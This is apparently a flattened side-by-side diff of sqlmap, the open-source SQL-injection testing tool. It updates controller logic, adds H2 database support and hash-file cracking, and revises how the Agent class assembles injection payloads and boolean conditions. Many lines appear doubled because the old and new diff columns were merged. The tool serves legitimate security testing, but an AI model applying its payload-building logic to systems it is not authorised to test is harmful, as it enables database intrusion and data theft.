See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,6 +43,7 @@ from lib.core.common import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import CONTENT_TYPE from lib.core.enums import CONTENT_TYPE
from lib.core.enums import HASHDB_KEYS from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HEURISTIC_TEST
@@ -55,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import ASP_NET_CONTROL_REGEX
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import IGNORE_PARAMETERS
@@ -68,6 +71,7 @@ from lib.core.settings import REFERER_ALIASES
from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import USER_AGENT_ALIASES
from lib.core.target import initTargetEnv from lib.core.target import initTargetEnv
from lib.core.target import setupTargetEnv from lib.core.target import setupTargetEnv
from lib.utils.hash import crackHashFile
def _selectInjection(): def _selectInjection():
""" """
@@ -242,17 +246,22 @@ def _saveToResultsFile():
results[key].extend(injection.data.keys()) results[key].extend(injection.data.keys())
for key, value in results.items(): try:
place, parameter, notes = key for key, value in results.items():
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) place, parameter, notes = key
conf.resultsFP.write(line) line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line)
if not results: if not results:
line = "%s,,,,%s" % (conf.url, os.linesep) line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line) conf.resultsFP.write(line)
conf.resultsFP.flush() conf.resultsFP.flush()
except IOError, ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
@stackedmethod
def start(): def start():
""" """
This function calls a function that performs checks on both URL This function calls a function that performs checks on both URL
@@ -260,6 +269,9 @@ def start():
check if they are dynamic and SQL injection affected check if they are dynamic and SQL injection affected
""" """
if conf.hashFile:
crackHashFile(conf.hashFile)
if conf.direct: if conf.direct:
initTargetEnv() initTargetEnv()
setupTargetEnv() setupTargetEnv()
@@ -305,6 +317,7 @@ def start():
conf.cookie = targetCookie conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders) conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or []) conf.httpHeaders.extend(targetHeaders or [])
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv() initTargetEnv()
parseTargetUrl() parseTargetUrl()
@@ -496,14 +509,14 @@ def start():
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif parameter == conf.csrfToken: elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
testSqlInj = False testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg) logger.info(infoMsg)
# Ignore session-like parameters for --level < 4 # Ignore session-like parameters for --level < 4
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -522,7 +535,7 @@ def start():
testSqlInj = False testSqlInj = False
else: else:
infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
logger.info(infoMsg) logger.info(infoMsg)
kb.testedParams.add(paramKey) kb.testedParams.add(paramKey)
@@ -629,6 +642,9 @@ def start():
errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
if not conf.randomAgent:
errMsg += " and/or switch '--random-agent'"
raise SqlmapNotVulnerableException(errMsg.rstrip('.')) raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else: else:
# Flush the flag # Flush the flag
+30 -13
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -10,6 +10,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.dicts import DBMS_DICT from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_ALIASES
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import INFORMIX_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy from lib.utils.sqlalchemy import SQLAlchemy
@@ -46,6 +48,8 @@ from plugins.dbms.db2 import DB2Map
from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.h2 import H2Map
from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.informix import InformixMap from plugins.dbms.informix import InformixMap
from plugins.dbms.informix.connector import Connector as InformixConn from plugins.dbms.informix.connector import Connector as InformixConn
@@ -67,6 +71,7 @@ def setHandler():
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
] ]
@@ -90,29 +95,41 @@ def setHandler():
conf.dbmsConnector = Connector() conf.dbmsConnector = Connector()
if conf.direct: if conf.direct:
exception = None
dialect = DBMS_DICT[dbms][3] dialect = DBMS_DICT[dbms][3]
if dialect: if dialect:
sqlalchemy = SQLAlchemy(dialect=dialect) try:
sqlalchemy.connect() sqlalchemy = SQLAlchemy(dialect=dialect)
sqlalchemy.connect()
if sqlalchemy.connector: if sqlalchemy.connector:
conf.dbmsConnector = sqlalchemy conf.dbmsConnector = sqlalchemy
else: except Exception, ex:
try: exception = ex
conf.dbmsConnector.connect()
except NameError: if not dialect or exception:
pass try:
else: conf.dbmsConnector.connect()
conf.dbmsConnector.connect() except Exception, ex:
if exception:
raise exception
else:
if not isinstance(ex, NameError):
raise
else:
msg = "support for direct connection to '%s' is not available. " % dbms
msg += "Please rerun with '--dependencies'"
raise SqlmapConnectionException(msg)
if conf.forceDbms == dbms or handler.checkDbms(): if conf.forceDbms == dbms or handler.checkDbms():
if kb.resolutionDbms: if kb.resolutionDbms:
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]() conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
conf.dbmsHandler._dbms = kb.resolutionDbms
else: else:
conf.dbmsHandler = handler conf.dbmsHandler = handler
conf.dbmsHandler._dbms = dbms
conf.dbmsHandler._dbms = dbms
break break
else: else:
conf.dbmsConnector = None conf.dbmsConnector = None
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+21 -13
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
@@ -142,7 +143,7 @@ class Agent(object):
match = re.search(r"\A[^ ]+", newValue) match = re.search(r"\A[^ ]+", newValue)
newValue = newValue[len(match.group() if match else ""):] newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2) _ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
elif conf.invalidBignum: elif conf.invalidBignum:
value = randomInt(6) value = randomInt(6)
elif conf.invalidString: elif conf.invalidString:
@@ -198,7 +199,7 @@ class Agent(object):
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
else: else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
if retVal == paramString and urlencode(parameter) != parameter: if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
@@ -246,6 +247,9 @@ class Agent(object):
else: else:
query = kb.injection.prefix or prefix or "" query = kb.injection.prefix or prefix or ""
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
query += " " query += " "
@@ -311,9 +315,12 @@ class Agent(object):
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr()) payload = payload.replace(_, randomStr())
if origValue is not None and "[ORIGVALUE]" in payload: if origValue is not None:
origValue = getUnicode(origValue) origValue = getUnicode(origValue)
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[ORIGVALUE]" in payload:
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGINAL]" in payload:
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
if INFERENCE_MARKER in payload: if INFERENCE_MARKER in payload:
if Backend.getIdentifiedDbms() is not None: if Backend.getIdentifiedDbms() is not None:
@@ -342,6 +349,7 @@ class Agent(object):
if payload: if payload:
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, str(randomInt())) payload = payload.replace(_, str(randomInt()))
@@ -535,7 +543,7 @@ class Agent(object):
fieldsToCastStr = fieldsToCastStr or "" fieldsToCastStr = fieldsToCastStr or ""
# Function # Function
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
fieldsToCastList = [fieldsToCastStr] fieldsToCastList = [fieldsToCastStr]
else: else:
fieldsToCastList = splitFields(fieldsToCastStr) fieldsToCastList = splitFields(fieldsToCastStr)
@@ -616,7 +624,7 @@ class Agent(object):
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -627,7 +635,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery) concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
elif fieldsSelect: elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -639,7 +647,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop: elif fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase: elif fieldsSelectCase:
@@ -815,7 +823,7 @@ class Agent(object):
limitRegExp2 = None limitRegExp2 = None
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
@@ -905,14 +913,14 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:] fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif Backend.isDbms(DBMS.HSQLDB): elif Backend.isDbms(DBMS.HSQLDB):
match = re.search(r"ORDER BY [^ ]+", limitedQuery) match = re.search(r"ORDER BY [^ ]+", limitedQuery)
if match: if match:
limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip() limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
limitedQuery += " %s" % match.group(0) limitedQuery += " %s" % match.group(0)
if query.startswith("SELECT "): if query.startswith("SELECT "):
@@ -1086,7 +1094,7 @@ class Agent(object):
if conf.dumpWhere and query: if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
if "%s)" % conf.tbl.upper() in prefix.upper(): if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
elif re.search(r"(?i)\bWHERE\b", prefix): elif re.search(r"(?i)\bWHERE\b", prefix):
prefix += " AND %s" % conf.dumpWhere prefix += " AND %s" % conf.dumpWhere
+2 -2
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -126,7 +126,7 @@ class BigArray(list):
try: try:
with open(self.chunks[index], "rb") as f: with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False) self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except IOError, ex: except Exception, ex:
errMsg = "exception occurred while retrieving data " errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
+423 -106
View File
@@ -1,10 +1,11 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import binascii
import codecs import codecs
import contextlib import contextlib
import cookielib import cookielib
@@ -101,7 +102,10 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
from lib.core.settings import BURP_REQUEST_REGEX
from lib.core.settings import BURP_XML_HISTORY_REGEX
from lib.core.settings import DBMS_DIRECTORY_DICT from lib.core.settings import DBMS_DIRECTORY_DICT
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
@@ -139,6 +143,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import PLATFORM from lib.core.settings import PLATFORM
from lib.core.settings import PRINTABLE_CHAR_REGEX from lib.core.settings import PRINTABLE_CHAR_REGEX
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT
from lib.core.settings import PYVERSION from lib.core.settings import PYVERSION
from lib.core.settings import REFERER_ALIASES from lib.core.settings import REFERER_ALIASES
@@ -161,6 +166,7 @@ from lib.core.settings import URLENCODE_CHAR_LIMIT
from lib.core.settings import URLENCODE_FAILSAFE_CHARS from lib.core.settings import URLENCODE_FAILSAFE_CHARS
from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import VERSION_STRING from lib.core.settings import VERSION_STRING
from lib.core.settings import WEBSCARAB_SPLITTER
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.utils.sqlalchemy import _sqlalchemy from lib.utils.sqlalchemy import _sqlalchemy
from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseResponse
@@ -594,7 +600,7 @@ def paramToDict(place, parameters=None):
if condition: if condition:
testableParameters[parameter] = "=".join(parts[1:]) testableParameters[parameter] = "=".join(parts[1:])
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)):
_ = urldecode(testableParameters[parameter], convall=True) _ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values " warnMsg = "it appears that you have provided tainted parameter values "
@@ -639,7 +645,7 @@ def paramToDict(place, parameters=None):
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
else: else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters) candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
current[key] = original current[key] = original
deserialized = json.loads(testableParameters[parameter]) deserialized = json.loads(testableParameters[parameter])
@@ -862,11 +868,11 @@ def boldifyMessage(message):
retVal = message retVal = message
if any(_ in message for _ in BOLD_PATTERNS): if any(_ in message for _ in BOLD_PATTERNS):
retVal = setColor(message, True) retVal = setColor(message, bold=True)
return retVal return retVal
def setColor(message, bold=False): def setColor(message, color=None, bold=False):
retVal = message retVal = message
level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel") level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
@@ -874,15 +880,11 @@ def setColor(message, bold=False):
level = unicodeencode(level) level = unicodeencode(level)
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
if bold: if bold or color:
retVal = colored(message, color=None, on_color=None, attrs=("bold",)) retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
elif level: elif level:
level = getattr(logging, level, None) if isinstance(level, basestring) else level level = getattr(logging, level, None) if isinstance(level, basestring) else level
_ = LOGGER_HANDLER.level_map.get(level) retVal = LOGGER_HANDLER.colorize(message, level)
if _:
background, foreground, bold = _
retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None)
kb.stickyLevel = level if message and message[-1] != "\n" else None kb.stickyLevel = level if message and message[-1] != "\n" else None
return retVal return retVal
@@ -897,7 +899,7 @@ def clearColors(message):
retVal = message retVal = message
if message: if isinstance(message, str):
retVal = re.sub(r"\x1b\[[\d;]+m", "", message) retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
return retVal return retVal
@@ -921,9 +923,9 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
try: try:
if conf.get("api"): if conf.get("api"):
sys.stdout.write(message, status, content_type) sys.stdout.write(clearColors(message), status, content_type)
else: else:
sys.stdout.write(setColor(message, bold)) sys.stdout.write(setColor(message, bold=bold))
sys.stdout.flush() sys.stdout.flush()
except IOError: except IOError:
@@ -1007,6 +1009,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
kb.prependFlag = False kb.prependFlag = False
if conf.get("answers"): if conf.get("answers"):
if not any(_ in conf.answers for _ in ",="):
return conf.answers
for item in conf.answers.split(','): for item in conf.answers.split(','):
